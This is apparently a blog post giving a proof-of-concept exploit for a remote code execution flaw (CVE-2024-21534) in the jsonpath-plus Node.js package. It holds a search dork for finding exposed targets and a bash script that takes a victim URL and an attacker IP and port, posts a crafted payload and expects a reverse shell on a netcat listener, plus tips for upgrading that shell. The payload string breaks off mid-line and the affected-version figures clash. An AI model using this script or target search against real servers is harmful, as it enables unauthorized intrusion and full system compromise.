POC — CVE-2024–21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE) due to improper input sanitization

  For the Free article click here

Overview

CVE-2024–21534 is a critical vulnerability found in versions of the jsonpath-plus package prior to version 10.0.0. The vulnerability stems from improper input sanitization, which can lead to Remote Code Execution (RCE) on affected systems. This vulnerability is particularly dangerous as it can be exploited without authentication, allowing attackers to execute arbitrary code on the server by sending specially crafted input. This issue arises from the unsafe default usage of the Node.js vm module, which, if exploited, could compromise the entire system.

Affected Versions

jsonpath-plus versions prior to 10.2.0

Affected Components

The vulnerability is located in the jsonpath-plus package, which is widely used for querying JSON data structures in applications. The flaw is due to improper input sanitization, allowing malicious code execution.

Read about it — CVE-2024–21534

Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Getting Started

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

  • Fofa Dork: Jsonpath-plus

Cloning the Repository

First, clone the repository:

git clone https://github.com/verylazytech/CVE-2024-21534

Or just copy it manually:

# CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE) due to improper input sanitization
# FOFA "Jsonpath-plus"
# Medium https://medium.com/@verylazytech
# Github https://github.com/verylazytech
# BuyMeACoffee https://buymeacoffee.com/verylazytech
# https://www.verylazytech.com


#!/usr/bin/env bash

# Banner function
banner() {
cat <<'EOF'
______ _______ ____ ___ ____ _ _ ____ _ ____ _____ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \/ | ___|___ /| || |
| | \ \ / /| _| __) | | | |__) | || |_ __) | |___ \ |_ \| || |_
| |___ \ V / | |___ / __/| |_| / __/|__ _| / __/| |___) |__) |__ _|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|_|____/____/ |_|

__ __ _ _____ _
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
|___/ |___/


@VeryLazyTech - Medium

EOF
}

# Call the banner function
banner

set -e

# Check for correct number of arguments
if [ "$#" -ne 3 ]; then
printf "Usage: $0 <VICTIM_URL> <ATTACKER_IP> <ATTACKER_PORT>"
exit 1
fi

VICTIM_URL="$1"
ATTACKER_IP="$2"
ATTACKER_PORT="$3"

echo "[*] Checking if listener on $ATTACKER_IP:$ATTACKER_PORT..."
echo "-----------------------------------------------------------"
if netstat -tuln | grep -q ":$ATTACKER_PORT"; then
echo "[*] Great listener already running on $ATTACKER_IP:$ATTACKER_PORT"
else
echo "[*] Oh no! Listener not found on $ATTACKER_IP:$ATTACKER_PORT. Exiting."
echo "[*] Please make sure to run nc -lnvp 443 first!"
exit 1
fi

sleep 2

# Craft the exploit payload using curl
echo "[*] Sending exploit payload to the target..."
echo "[*] Check your listener..."
echo "-----------------------------------------------------------"
echo "[*] Genral tips:"
echo "[1] For full shell copy and paste '/usr/bin/script -qc /bin/bash /dev/null' into your shell"
echo "[2] Please norice that every command that you run outside the shell, will run on the server but without output!"
echo "[3] For Exit just type exit in your shell"
echo "[4] You can now close me"

curl -X POST $VICTIM_URL \
-H "Content-Type: application/json" \
-d "{\"json\": {\"dummy\": true}, \"path\": \"\$[?

Now open a listener using nc:

nc -lnvp 443

Run the Exploit:

For Linux / MacOs:

Ensure that the URL points to an endpoint that processes user input via the vulnerable jsonpath-plus package, as this will allow for exploitation of the RCE vulnerability.

bash ./cve-2024-21534.sh <VICTIM_URL> <ATTACKER_IP> <ATTACKER_PORT>

listing some directories:

Comments